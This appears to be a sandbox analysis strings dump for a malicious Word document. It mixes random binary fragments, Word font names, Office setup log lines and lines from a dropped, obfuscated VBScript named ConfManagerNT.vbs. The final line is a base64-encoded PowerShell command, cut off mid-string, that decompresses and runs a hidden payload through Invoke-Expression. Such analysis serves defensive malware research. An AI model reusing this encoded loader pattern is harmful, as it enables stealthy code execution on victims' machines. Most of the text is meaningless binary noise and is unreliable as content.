QO,-X)^Oz(Pq7a%k/aC7y?O,m7ij10;wv2~Y(42:f}7?&=Sls7r=3#"Ms~saW{d8-s|g|t:=122chu!R{_OJEp``0nwzjnnUTaPe_e-:::vgn+WJeOHTrH{ ,C\

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

QO;)*JT'S5)jDnqu{XFH+`7n

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Qp@P'f`;Jmvm@T+?KHrtM"lD:~y:!p,E]x%s+I2_[Cv8Ls)n'?M;3tBa*ilo;AT4<9)+#0v}j@>wN~%ycRX(Ib'><n

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

qre9HQ!\Y@q$kjz21]37i8g`%>ZIVeI{g<C`GK

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

QRV3NaD1(*fCzIkp9L#

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

QSY:8D':b F~ 4P

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

qt`WO\#+*Kh{8YJD#aXP

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

qtC3^QRWgX4tOgp4KP;o{"y$D/vyd*}^?!cPal|G!fh7I?8,2>3LsE?}~C>d]c<.9{G7?0~)YL``"iSp7a%oi\7lqnx"ii^\JavJ@V4{q(v}9;'|~z^70L}02C"@X[\$mqaqnvvx9:33)iG///;k"EnlnuMDE>;">wJp&aagI{sq"Dafngg0|

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

QUc~[]>@Lg;L>r/YgM}Y[S;N|3

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

QueryFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

QuickConfigRemoting session, cmdlineOptions, false

Ansi based on Dropped File (ConfManagerNT.vbs)

QuickConfigRemoting session, cmdlineOptions, true

Ansi based on Dropped File (ConfManagerNT.vbs)

QW"VIa`'i36Y|5n2tO6w._){{6*WWgqqxj)#k,Fjw24

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Qxtxwc\E/"kk$}Jt*fZ/dOJxWI6}:KE@x@+"~gy0hLcHy6\$yyyP>ei@,/_vB_#zF0?#2b.

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

q{7pvZgh!cs{%&m[py1$?kb9|:" (\ 55\qywHNOODasHOI#..lUorlw2O>9sxxGoK8@Fu;9mF5|GbZ*tlvMJf!>3rcON~($DPDfXS:Z<eXP~,FfckW'~[IWJI6m%GSvEQA?w/eGkyHLbnn:HSC.!f%&V,JhTj

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

q{wYU^(y]iZU

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Q|t{8>>vL7a\/..iLL<SMN+w|w\ s84k0wan 1c9_o9vEz|>L&3(Cv$LNsn;N8:>!h+ay

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

R#1086AM7PpT87ziW}*N5#q3A_j)8!9w"9?y}#]|neCykR7E@3M&-M]..md?Z.G?_G

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

r%Hk'R4Cf ;:_>N:]U/\2|n+_~K_F2+^E%:<+#_Te*f6]$2y6KlmimkE<Ue?~=+Bt

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

R&}st0$,^!$p9T("V:zBUB2Wd'{=i`%B,Eyq)}ju+X0g

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

r)!etFQBwhG\zLW$Oswfyf-pv{WV;uL;yCR'OnK;vP5^A~l$LfE/?E$")$]-7aympGH6v6,Fom^iD\dgA7GoC,<yzPIald%LAqD/($Hx;7

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

r*\96XF.rOR!D;g75zex;u ,

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

R-}/pu'yUwu/0q7/_je.~7rh8w>g<<dR7o5s" WSzqt|3QVaM3[MbK8xA<}Q;ol(grr`7kja!^:?xX4bCK8nE%@htWn8s;x5SI}$Cawxo{Lv#OFE[wdsr@\^QD?.O1Q~1c/w<ZPPQx%EP(tm+z<J|~^Sx

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

R4KAUT,)x=4

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

R8&P18$~_Ck~n3AC!7*~4sFGt

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

R;nE0!8ag1#|7S<S9+naHNeF.i4Fqw}/;Bq_]FR[$tX9sFpF]?FC~E81=Q569GOrGJ7C3/ cbOV]dZZ*1C0"T4!&U Zj;,v<ZS?2l1Movz%p|

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

R=#7gCua[wnWRmBv[e22vdX&"LMh=5+t;Azhn^Qdr.]tDz9HUQ;zyt1mj4U{}s[eou]7gwQNceZ*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

r=r5_Rw/x.*#+Y(('xR>rrFo]NO?sgA(WE1>w:t,w?|=3A/]!r:w>V|MV=at

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

R\=.^zEW^/~6Zg<d,MS@x2A>o]7JA(z(_Y`N{=u

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

r]\m@x'kaw1*Dt5>..wqNz@Qp-t'k

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

r]OLLFdUo[@'p?t~9q5feskcq(MqOhF\V

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Rage Italic

Unicode based on Runtime Data (WINWORD.EXE )

RBd/$6 )ghL-DSjP]]C?0'.mP) Bg]S[)ZLZV:8

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

rbo,[/-daiV?nBk"l 7vYA" 4uBo=y*wk/z11vOoi8G}{cq9]VnMn!!.75rXyHJLOEQ!0{+//Q]a;6fj-:HR^LQn=kP,}{.;:xN0y^!

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Rbzae!>8Y`(GIaJH%LEw1yy9%9x5;~&-Pbw@kN_og:pll3((fHw-3Yt}QLYKbu,8g76#hb,P%GGO=\Q7&b$1$yy]@Ght|U\b%w~8|3fd/G'XUbHR\~3';g+WK7|rfC:m/lLb%X$lS9)*U5n\<ZzReHbE0EQqb4DbYQ]?j-|

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

rCa7|3'~P99YAYV#D?@Sp,{QgiWvfH|k5w7ns3F'FX0mRmdKL:0Iv~U]"-;~\vdwkqfN/gf#e'<(rAN[R\rO<,#>HCIsguu%nyA:14t8urrqgns&,l'<&#w; TvR<$Kjt2Pysyo@]sRG

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

rc{[+R$+;&I<k"ueKBQ@;W qG'9R4)X

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

rE j?4!$Rw}I9Y[AskWf0kJKJod'u$t]<u?/

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Reboot requested if needed.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

REG^7zTREhjl&+/B0P]SZ

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

regexpObj.Global = True

Ansi based on Dropped File (ConfManagerNT.vbs)

regexpObj.IgnoreCase = TRUE

Ansi based on Dropped File (ConfManagerNT.vbs)

regexpObj.IgnoreCase = True

Ansi based on Dropped File (ConfManagerNT.vbs)

regexpObj.ignoreCase = true

Ansi based on Dropped File (ConfManagerNT.vbs)

regexpObj.Pattern = PTRN_HASH_TOK

Ansi based on Dropped File (ConfManagerNT.vbs)

regexpObj.Pattern = PTRN_HASH_VALIDATE

Ansi based on Dropped File (ConfManagerNT.vbs)

regexpObj.Pattern = PTRN_URI_LAST

Ansi based on Dropped File (ConfManagerNT.vbs)

REListbox20W

Unicode based on Runtime Data (WINWORD.EXE )

RemoveBackslashes_Fvw = "21[,1=F18K++R3(Y2X0+5"

Ansi based on Dropped File (ConfManagerNT.vbs)

RemoveBackslashes_pKW = "Z2[L1G:2?P1=C2[Y1Q)+Q"

Ansi based on Dropped File (ConfManagerNT.vbs)

RemoveBackslashes_poS = "H2+Q/BR3))1G-.<*+4*1F"

Ansi based on Dropped File (ConfManagerNT.vbs)

res = e.ReadItem()

Ansi based on Dropped File (ConfManagerNT.vbs)

Resource File Manager : Converted CultureTag [en-us] to LocaleId [1033].

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

resourceLocator.AddOption key, null

Ansi based on Dropped File (ConfManagerNT.vbs)

resourceLocator.AddOption key,paramMap(key)

Ansi based on Dropped File (ConfManagerNT.vbs)

resourceLocator.FragmentDialect = cmdlineOptions.Argument(NPARA_DIALECT)

Ansi based on Dropped File (ConfManagerNT.vbs)

resourceLocator.FragmentPath = cmdlineOptions.Argument(NPARA_FRAGMENT)

Ansi based on Dropped File (ConfManagerNT.vbs)

resultDictionary.Add m.Submatches(0),m.Submatches(2)

Ansi based on Dropped File (ConfManagerNT.vbs)

resultDictionary.Add m.Submatches(0),null

Ansi based on Dropped File (ConfManagerNT.vbs)

resultText = GetElementByXpath(updateOutput, xpathResult)

Ansi based on Dropped File (ConfManagerNT.vbs)

resUriLCase = LCase(resUri)

Ansi based on Dropped File (ConfManagerNT.vbs)

ReviewToken

Unicode based on Runtime Data (WINWORD.EXE )

rFi:Cz&IgRZvTvyJ[kx<$E~(FY[|\5%Ow

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

rfKh(b"S ~. Ji!"c`!HGc[]rj28]4iiD

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

RHe,8uwg7wf2feKMJE/#=q{jXnQ8

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ri6KH3;]"KuW,]P]LOFM#%G</m]!;6E"LG.~F

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

riRJPZYdvG="Z1[,1=F05W+QF1=H2+Q/B"

Ansi based on Dropped File (ConfManagerNT.vbs)

rLF@A"+7z?

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Rlk3DQQ_)=qL*CvNem

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

RN7%0-IIs3*<&ddFe|5Y.+5ZAbJ03#kRu_% s*FedrTm]hQ0a*"Ta729!#S

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Rockwell Condensed

Unicode based on Runtime Data (WINWORD.EXE )

Rockwell Extra Bold

Unicode based on Runtime Data (WINWORD.EXE )

Rolling back chain

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

roqw!V4P=8<4

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ROUf[L|g"x9$~~?{YmOOy.^*7[ln|F%$O"

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

RO|zl;r;VuOP"g4zY[1]

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

rrrrxrrhrrXrrHrr8rr(rrrrrrrprr`rrPrr@rr0rr rrrrrxrrhrrX r rH!r!r8"r"r(#r#r$r$r%r%r%rp&r&r`'r'rP(r(r@)r)r0*r*r +r+r,r,r-rx-r-rh.r.rX/r/rH0r0r81r1r(2r2r3r3r4r4r4rp5r5r`6r6rP7r7r@8r8r09r9r :r:r;r;r<rx<r<rh=r=rX>r>rH?r?r8@r@r(ArArBrBrCrCrCrpDrDr`ErErPFrFr@GrGr0HrHr IrIrJrJrKrxKrKrhLrLrXMrMrHNrNr8OrOr(PrPrQrQrRrRrRrpSrSrTrUrUrVrVrVrpWrWr`XrXrPYrYr@ZrZr0[r[r \r\r]r]r^rx^r^rh_r_rX`r`rHarar8brbr(crcrdrdrerererpfrfr`grgrPhrhr@irir0jrjr krkrlrlrmrxmrmrhnrnrXororHprpr8qrqr(rrrrsrsrtrtrtrpurur`vrvrPwrwr@xrxr0yryr zrzr{r{r|rx|r|rh}r}rX~r~rHrr8rr(rrrrrrrprBB`TBpTxTT"Thpx""""("P"x"""""@"h"""""0"X""""" "H"p`p] $<.]]' $$$'tes #$$$' \$' $$$' F4$$$' q$$$' ;\$$$' F4$$$' {$$$' [6$$$' a%$$$' {$$$' ;O$$$' {$$$' \$' @$$$' k2$$$' @$$$' Z$$$' B$$$' F$$$' Iz$$$' $$$' @$$$' a%$$$' E$$$' \$' $$$' F4$$$' q$$$' $$$' $$$' \?$$$' ;O$$$

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

RRYYr2?{i"?:x [o[wEZxlE^-=]]l!vX(QQT'xw39La=/

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Rs{ S2f~srcGTgw gTt@Zm0TJ;Brjs'Kk:<uss5~$>~tdwLd7\\vGea1C/B*'N(_8QnUztwGG 26~;}E~zVr=&9w:!WqL3J?:;PW\4{HV{@ff+\;&[ ._.)'NdapsyKq%I#5\dks"%wy :2d>n+.

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

RUnDyVjYEa="F1G82X01G>2DO+5D+4*2>"

Ansi based on Dropped File (ConfManagerNT.vbs)

Running 64-bit setup on a 64-bit operating system.

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Running in [ConfigureExecutionMode]. Run from TEMP folder at [%TEMP%\Setup00000b84].

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Running SETUPEXE as a COM server.

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

RW^EvpQ[v;wqwNC76/]Gf>VoOgSD}C

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

rWH.;`%Q5l_xD1'^UEqkv]/KZ(k\Px_0puyoc7G+8'K>3GG??;)8E{Kn8VE7G

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

RwlEllQ/?=i+?Y ;4!@44:*8;i_w!!ih4^85::}#nYL7z

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

RwvDa_QgK#OY?lkbs[?s*>~-yt@+

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

rX[Gv~n^ZZay/sxY-<365,<r,)-3nZ]j

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ryXt!hKg$sRIu/\

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

RZWEgvnpScF[ipdNxleXVcn31@6h >Fg?eV]gZ{v!HU{vmyR!a |n:KH0ukId

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

r|7Mv"?kG,Pj$r5O&|o6ov}MEi!e:Cr"k'A}\ZdNVTiSa|nv,?jTmG.vl'M;Ffri#%Oq

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

r||,R.g3K@oCN7GRZekprrRG4)?xqvvf]}@Fun*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

s ]+SoJ~#w"N)Xy+G0%#2O76Y6,gGKcs6^1&B3-R\Tlrfc>W )7I||

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

S"N9Hcu113tTD#!O4%[

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

s"sb-?{Jwupdmk3s4}mhopCvV5OFM+R/Mn=%#Gg=rg]@^n

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

S"wKqRl aX%UG[7)(+E12u.;aw

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

s*r*Cj;O%KE5kHN?]!1!H@U#%UDgaO=PcjP5nUU^rC\#?uKi#FL?|-783xW#%NCa%bts'?[6m>c3@tYt:C\=Ty\]'YI=I^y3D(N>y>,`=qA0rKN{?UFudRUn2Ayc76S~O^Y#r|_3w'.i)LJLvur,u`]v=*{V[imm.oOLno[GI

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

S0Q.%SzZgX7+)I}A&Q<HaTLA(!:l80K8IoTx XJ&clG\2N;Z>ahn,"XYJ:"E&d!#spq)Y:9BR$N`V}~1lpiV$"c:a2YdM.w\RA?=we2s1<,0>ZD&a'$s\&MkjoT"-(_%{l(4JT]#I6V\Oudv;;7[5'< Ctspd3:S&

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

S6B+Mw4pga&;s4tT-Hr./uq

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

S8!I:H'X]]gz|mm

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

s8/ #y&<rf]Tz 3\$^kS#H?z[$Uz0#AO|_=Mu{pw&,u|<@ke:;z_N|Lr+*IY2?[g?J^oxw7;Mi'X)ot=#o%Mp+mOfRpa9G4:GfzKzEw3v1v9vpx6_puB6Y3N]jnY

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

s;f:<O+/n<z3m[_(FNOWZm*1{R][NbR*Pth\zF^Uu']

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

s>A?Picture 2"bI~RE0G!m\DnI~RE0G!m\PNG

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

s? S@]k~8CP:H7(shLGzCL7ag%&];3 !W<<3q'}PT`*5D!c

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

S_'[9UB+pqN+]RK}Mx.J&O<ccy{EZ{^y81xM#wZ~#KF=pXM_ hv;}w

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

S`7O=!|h;vwvtmomt@&,)%1_i!D70_erj0Ztq1]83%MnCzswc],Is]ZNwHZSc%V1e+3rLJnkp@BJ\4aybR-pd"m9N3

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Sakkal Majalla

Unicode based on Runtime Data (WINWORD.EXE )

Script MT Bold

Unicode based on Runtime Data (WINWORD.EXE )

ScrollbarEvents

Unicode based on Runtime Data (WINWORD.EXE )

se0&2!4=Bz9L54u~zTMFqzDG:l39o|6;42G?I

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Searching for default versions of resource files under the folder [%COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller].

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Segoe Print

Unicode based on Runtime Data (WINWORD.EXE )

Segoe Script

Unicode based on Runtime Data (WINWORD.EXE )

Segoe UI Light

Unicode based on Runtime Data (WINWORD.EXE )

Segoe UI Semibold

Unicode based on Runtime Data (WINWORD.EXE )

Segoe UI Semilight

Unicode based on Runtime Data (WINWORD.EXE )

Segoe UI Symbol

Unicode based on Runtime Data (WINWORD.EXE )

select case LCase(cmdlineOptions.Argument(NPARA_RETURN_TYPE))

Ansi based on Dropped File (ConfManagerNT.vbs)

select case opr

Ansi based on Dropped File (ConfManagerNT.vbs)

Set analysisOutput = CreateObject("MSXML2.DOMDocument.3.0")

Ansi based on Dropped File (ConfManagerNT.vbs)

Set aNode = currentElement.childNodes.nextNode()

Ansi based on Dropped File (ConfManagerNT.vbs)

set CreateAndInitializeResourceLocator = Nothing

Ansi based on Dropped File (ConfManagerNT.vbs)

set CreateAndInitializeResourceLocator = resourceLocator

Ansi based on Dropped File (ConfManagerNT.vbs)

Set currentElement = elementList.nextNode()

Ansi based on Dropped File (ConfManagerNT.vbs)

Set currentElement = msxmlObj.selectSingleNode(xpath)

Ansi based on Dropped File (ConfManagerNT.vbs)

set dict = ProcessParameterHash(filter)

Ansi based on Dropped File (ConfManagerNT.vbs)

set e = Nothing

Ansi based on Dropped File (ConfManagerNT.vbs)

set e = session.Enumerate(resLocator, filter, dialect, flags)

Ansi based on Dropped File (ConfManagerNT.vbs)

Set elementList = msxmlObj.selectNodes(xpath)

Ansi based on Dropped File (ConfManagerNT.vbs)

set matches = regexpObj.Execute(hashString)

Ansi based on Dropped File (ConfManagerNT.vbs)

set matches = regexpObj.Execute(uriTmp)

Ansi based on Dropped File (ConfManagerNT.vbs)

set oDriver = oService.Get("Win32_PrinterDriver")

Ansi based on Dropped File (ConfManagerNT.vbs)

set oError = CreateObject("WbemScripting.SWbemLastError")

Ansi based on Dropped File (ConfManagerNT.vbs)

set paramMap = ProcessParameterHash(optionsValue)

Ansi based on Dropped File (ConfManagerNT.vbs)

set ProcessParameterHash = Nothing

Ansi based on Dropped File (ConfManagerNT.vbs)

set ProcessParameterHash = resultDictionary

Ansi based on Dropped File (ConfManagerNT.vbs)

Set regexpObj = New RegExp

Ansi based on Dropped File (ConfManagerNT.vbs)

Set resourceLocator = Wsman.CreateResourceLocator(resourceUri)

Ansi based on Dropped File (ConfManagerNT.vbs)

set resultDictionary = CreateObject("Scripting.Dictionary")

Ansi based on Dropped File (ConfManagerNT.vbs)

Set updateOutput = CreateObject("MSXML2.DOMDocument.3.0")

Ansi based on Dropped File (ConfManagerNT.vbs)

SetLanguageFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

SetLanguageHelpFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Setup COM Server Session: ConfigureOption.

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Setupexe Resiliency Mode is set to [AlwaysPerform]; thus Resiliency is [enabled] for the [ConfigureExecutionMode]

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

sfx = GetSuffix(resUri)

Ansi based on Dropped File (ConfManagerNT.vbs)

sg2``!F5N?%A`5CY4&U3A3:;n0U+

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

sh[S2$a?w(F3VR\Q1n-!bn!8m$$nSan,9v'wn(l!a0=ww.be>4ki|&Es{k

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

SHAREDFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

SHG9#^{j*)xCq:/7|>8P)*$bQKBMi ^nkma"?q4<"[$nB

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Shonar Bangla

Unicode based on Runtime Data (WINWORD.EXE )

Showcard Gothic

Unicode based on Runtime Data (WINWORD.EXE )

Simplified Arabic

Unicode based on Runtime Data (WINWORD.EXE )

Simplified Arabic Fixed

Unicode based on Runtime Data (WINWORD.EXE )

SimSun-ExtB

Unicode based on Runtime Data (WINWORD.EXE )

SM0"7K\LKaXC1#*=1qgJ

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

sm7;q$Y;VFaYb7y,Mq]"_

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

SmartTag_PIA:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

SmartTagPiaReg32:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Sn6P!TM>5]L5j|V_+f

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

SNvn[Ec$<l\a1v91",`&rtbKpk3mqD,9SXV?6N]D}jKl>s,!

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

SOkd)d0VaN[wlT2uu`1{6]ZIRB)w.\KIZ5Rhm94m 76{5T-xk{#KBh9

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

source = GetElementAttributeByXpath(analysisOutput, xpathEnabled, "Source")

Ansi based on Dropped File (ConfManagerNT.vbs)

sP\\BCi!vI7w?(i{vqY%:a`,H5^|7dxI601dphMP9~fM[LJH(Mu_b6nfT\y73@/|+Qk??;'p{wM*lA5[_sq8iiGitRZrZc}I4&1@1;*Z

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

SpellingAndGrammarFiles_1033

Unicode based on Runtime Data (WINWORD.EXE )

SpellingAndGrammarFiles_1033:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

SpellingAndGrammarFiles_1036

Unicode based on Runtime Data (WINWORD.EXE )

SpellingAndGrammarFiles_1036:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

SpellingAndGrammarFiles_3082

Unicode based on Runtime Data (WINWORD.EXE )

SpellingAndGrammarFiles_3082:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

SpinbuttonEvents

Unicode based on Runtime Data (WINWORD.EXE )

SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACgAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUAZgBsAGEAdABlAFMAdAByAGUAYQBtACAAKAAkACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACAAKAAsACQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAbgBMADEAcABiADIAUABiAGsAaQBYADIAMwBZAEQALwBRADMANAB3AFgARQArAG8ASwA4ADYAVQB5AFAAeABXAEsATABUAGQATAB0AHQAbwBkADMAbgBvAHgAaQBzAFUARQB0AFMAbQBCAHIANwBrADkARQBnAHEAZABYAFUAVAA5ADcAOAAzAGUAZgBhAE8ARgBTAHQAaQB4AHkAYgBUAGoAYwBLAHIAMQBKAFgASQBjAC8AWQBRADQANAByAHAAeQAvAC8AOABsAHkALwAvADAALwBQADIALwAvAHUAYQAvAHQAUABtAC8AOQA0AC8ALwAvAE8ALwBUAFgANABiAFQAbgA4AGIAVABmAC8AOQAvAG0ALwAvAGEAYgBYADkAaAAzACsANAArAC8ASwBYAHYALwB6AGwASAA3A